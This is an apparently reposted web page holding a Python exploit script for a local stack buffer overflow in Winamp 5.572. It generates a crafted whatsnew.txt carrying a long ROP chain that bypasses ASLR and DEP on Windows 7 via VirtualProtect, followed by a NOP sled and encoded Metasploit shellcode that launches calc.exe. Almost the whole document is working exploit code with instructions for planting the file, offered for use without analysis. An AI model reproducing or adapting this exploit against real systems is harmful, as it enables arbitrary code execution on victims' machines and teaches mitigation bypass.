Winamp v5.572本地BoF利用(Win7 ASLR和DEP绕过)

#!/usr/bin/python

#Exploit Title: 	Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)
#Date: 			June 26, 2010
#Author:		Node
#Software Link:		http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe
#Tested on: 		Windows 7 Ultimate x64 ENG
#Badchars: 		\'\\x00\\xff\\x5c\\x2f\\x0a\\x0d\\x20\'
#Instructions: Replace generated whatsnew.txt with original in Winamp folder, Start Winamp, rightclick the flash symbol, \"Nullsoft Winamp...\", Version history


print \"[+] Winamp_5.572_whatsnew.txt Win7 ASLR and DEP Bypass - by Node\"

version = \"Winamp 5.572\"

rop = \"A\" * 540          # Offset
rop += \"\\x8a\\x35\\x84\\x07\" #0x0784358A :  # PUSH ESP # POP ESI # RETN       [Module : in_wm.dll]
rop += \"A\"*16
rop += \"\\x8a\\x3d\\x14\\x07\" #0x07143D8A :  # PUSH ESI # SUB AL,5E # XOR EAX,EAX # POP EBP # RETN     [Module: zlib.dll]
rop += \"\\xf7\\xb8\\x40\\x07\" #0x0740B8F7 :  # XCHG EAX,EBP # RETN     [Module : gen_ff.dll]
rop += \"\\xd6\\x5e\\x65\\x07\" #0x07655ED6 :  # ADD ESP,30 # RETN       [Module : in_cdda.dll]
rop += \"0000\" #VirtualProtect placeholder
rop += \"DDDD\" #return address placeholder
rop += \"1111\" #lpAddress placeholder
rop += \"2222\" #dwsize placeholder
rop += \"3333\" #flNewProtect placeholder
rop += \"\\x60\\xf6\\x78\\x07\" # lpflOldProtect (0x0778f660 writable address in in_mp3.dll) 
rop += \"A\"*24
#---------------Grab a kernel32 pointer from the stack--------------------
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\x3a\\xd8\\x8d\\x07\"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += \"\\x3a\\xd8\\x8d\\x07\"*3 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += \"\\x29\\x13\\x09\\x07\"*29 #0x07091329 :  # INC EAX # RETN  [Module : libsndfile.dll]
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += \"\\xb3\\x6a\\x6c\\x07\" #0x076C6AB3 :  # SUB EAX,EDX # RETN      [Module : in_flv.dll]
rop += \"\\xa7\\x41\\x11\\x07\" #0x071141A7 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN       [Module : tataki.dll]
#----------------------EAX=kernel32, ESI=start----------------------

#---------------Change kernel32 pointer to VirtualProtect()-----------------
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\x3a\\xd8\\x8d\\x07\"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll] 104
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 208
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 410
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 820
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 1040
rop += \"\\x67\\x40\\x5b\\x07\" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += \"\\x65\\x72\\x0a\\x07\" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 2080
rop += \"\\x08\\x13\\x8d\\x07\" #0x078D1308 :  # SUB EAX,41 # RETN       [Module : ml_disc.dll] 203f
rop += \"\\xc6\\xd7\\x8d\\x07\" #0x078DD7C6 :  # SUB EAX,20 # RETN       [Module : ml_disc.dll] 201f
rop += \"\\xec\\x11\\x09\\x07\"*4 #0x070911EC :  # DEC EAX # RETN  [Module : libsndfile.dll] 201b
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += \"\\x10\\x7d\\x0b\\x07\" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
#---------------EAX=VirtualProtect(), ESI=start-----------------

#-------------Write VirtualProtect() to stack----------------------
rop += \"\\x82\\x55\\x40\\x07\"*12 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += \"\\x43\\x5d\\x6f\\x07\" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#---------------EAX=VirtualProtect(),ESI=start+12(VP)-----------


#-------------Write return address----------------------
rop += \"\\xdd\\xb7\\x3e\\x07\" #0x073EB7DD :  # MOV EAX,ESI # RETN      [Module : gen_ff.dll]
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x10\\x7d\\x0b\\x07\" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
rop += \"\\x82\\x55\\x40\\x07\"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += \"\\x43\\x5d\\x6f\\x07\" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+16------------

#-------------Write placeholder 1----------------------
rop += \"\\x82\\x55\\x40\\x07\"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += \"\\x43\\x5d\\x6f\\x07\" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+20------------

#-------------Write placeholder 2----------------------
rop += \"\\x89\\xb3\\x34\\x08\" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x45\\x35\\x10\\x08\" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +=\"AAAA\"
rop += \"\\x82\\x55\\x40\\x07\"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += \"\\x43\\x5d\\x6f\\x07\" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#---------EAX = 0x30c(size 780),EBX = shellcode, ESI=start+24(placeholder 2), EDX=start+12(VP)--------------

#-------------Write placeholder 3----------------------
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\x3a\\xd8\\x8d\\x07\" #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += \"\\xec\\x11\\x09\\x07\" #0x070911EC :  # DEC EAX # RETN  [Module : libsndfile.dll]
rop += \"\\x82\\x55\\x40\\x07\"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += \"\\x43\\x5d\\x6f\\x07\" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
rop += \"\\x74\\x6c\\x96\\x07\" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
#--------EAX=start+12(VP), EBX=start+12+312(shellcode), ESI=start+28-----------


#----------fix EBP problem after call return----------------
rop += \"\\x89\\xb3\\x34\\x08\" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += \"\\x1a\\x10\\x09\\x07\" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += \"\\xf7\\xb8\\x40\\x07\" #0x0740B8F7 :  # XCHG EAX,EBP # RETN     [Module : gen_ff.dll]
rop += \"\\x89\\xb3\\x34\\x08\" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += \"\\x85\\xe0\\x09\\x07\" #0x0709E085 :  # ADD EBP,EAX # RETN      [Module : libsndfile.dll]
#---------EAX=vp, EBX=?, EDX=40, ESI=start+28, EBP=vp--------

#----------------go to VirtualProtect()-------------------
rop += \"\\xc1\\xbb\\x3c\\x07\" #0x073CBBC1 :  # XCHG EAX,ESP # RETN     [Module : gen_ff.dll]
#------------------------bang!-----------------------------

nops = \"\\x90\"*304

# msfpayload windows/exec CMD=calc.exe R | msfencode -b \'\\x00\\xff\\x5c\\x2f\\x0a\\x0d\\x20\' -t perl
shellcode = (\"\\xbb\\xd2\\xaa\\xfa\\x33\\x31\\xc9\\xb1\\x33\\xdb\\xd3\\xd9\\x74\\x24\" +
\"\\xf4\\x5e\\x83\\xc6\\x04\\x31\\x5e\\x0b\\x03\\x5e\\xd9\\x48\\x0f\\xcf\" +
\"\\x35\\x05\\xf0\\x30\\xc5\\x76\\x78\\xd5\\xf4\\xa4\\x1e\\x9d\\xa4\\x78\" +
\"\\x54\\xf3\\x44\\xf2\\x38\\xe0\\xdf\\x76\\x95\\x07\\x68\\x3c\\xc3\\x26\" +
\"\\x69\\xf0\\xcb\\xe5\\xa9\\x92\\xb7\\xf7\\xfd\\x74\\x89\\x37\\xf0\\x75\" +
\"\\xce\\x2a\\xfa\\x24\\x87\\x21\\xa8\\xd8\\xac\\x74\\x70\\xd8\\x62\\xf3\" +
\"\\xc8\\xa2\\x07\\xc4\\xbc\\x18\\x09\\x15\\x6c\\x16\\x41\\x8d\\x07\\x70\" +
\"\\x72\\xac\\xc4\\x62\\x4e\\xe7\\x61\\x50\\x24\\xf6\\xa3\\xa8\\xc5\\xc8\" +
\"\\x8b\\x67\\xf8\\xe4\\x06\\x79\\x3c\\xc2\\xf8\\x0c\\x36\\x30\\x85\\x16\" +
\"\\x8d\\x4a\\x51\\x92\\x10\\xec\\x12\\x04\\xf1\\x0c\\xf7\\xd3\\x72\\x02\" +
\"\\xbc\\x90\\xdd\\x07\\x43\\x74\\x56\\x33\\xc8\\x7b\\xb9\\xb5\\x8a\\x5f\" +
\"\\x1d\\x9d\\x49\\xc1\\x04\\x7b\\x3c\\xfe\\x57\\x23\\xe1\\x5a\\x13\\xc6\" +
\"\\xf6\\xdd\\x7e\\x8d\\x09\\x6f\\x05\\xe8\\x09\\x6f\\x06\\x5b\\x61\\x5e\" +
\"\\x8d\\x34\\xf6\\x5f\\x44\\x71\\x08\\x2a\\xc5\\xd0\\x80\\xf3\\x9f\\x60\" +
\"\\xcd\\x03\\x4a\\xa6\\xeb\\x87\\x7f\\x57\\x08\\x97\\xf5\\x52\\x55\\x1f\" +
\"\\xe5\\x2e\\xc6\\xca\\x09\\x9c\\xe7\\xde\\x69\\x43\\x7b\\x82\\x43\\xe6\" +
\"\\xfb\\x21\\x9c\\xe2\");

trash = \"B\" * 600

expfile = open(\'whatsnew.txt\',\'w\')
expfile.write(version + rop + nops + shellcode + trash)
print \"[+] whatsnew.txt generated.\"
expfile.close()
发表评论?

0 条评论。

发表评论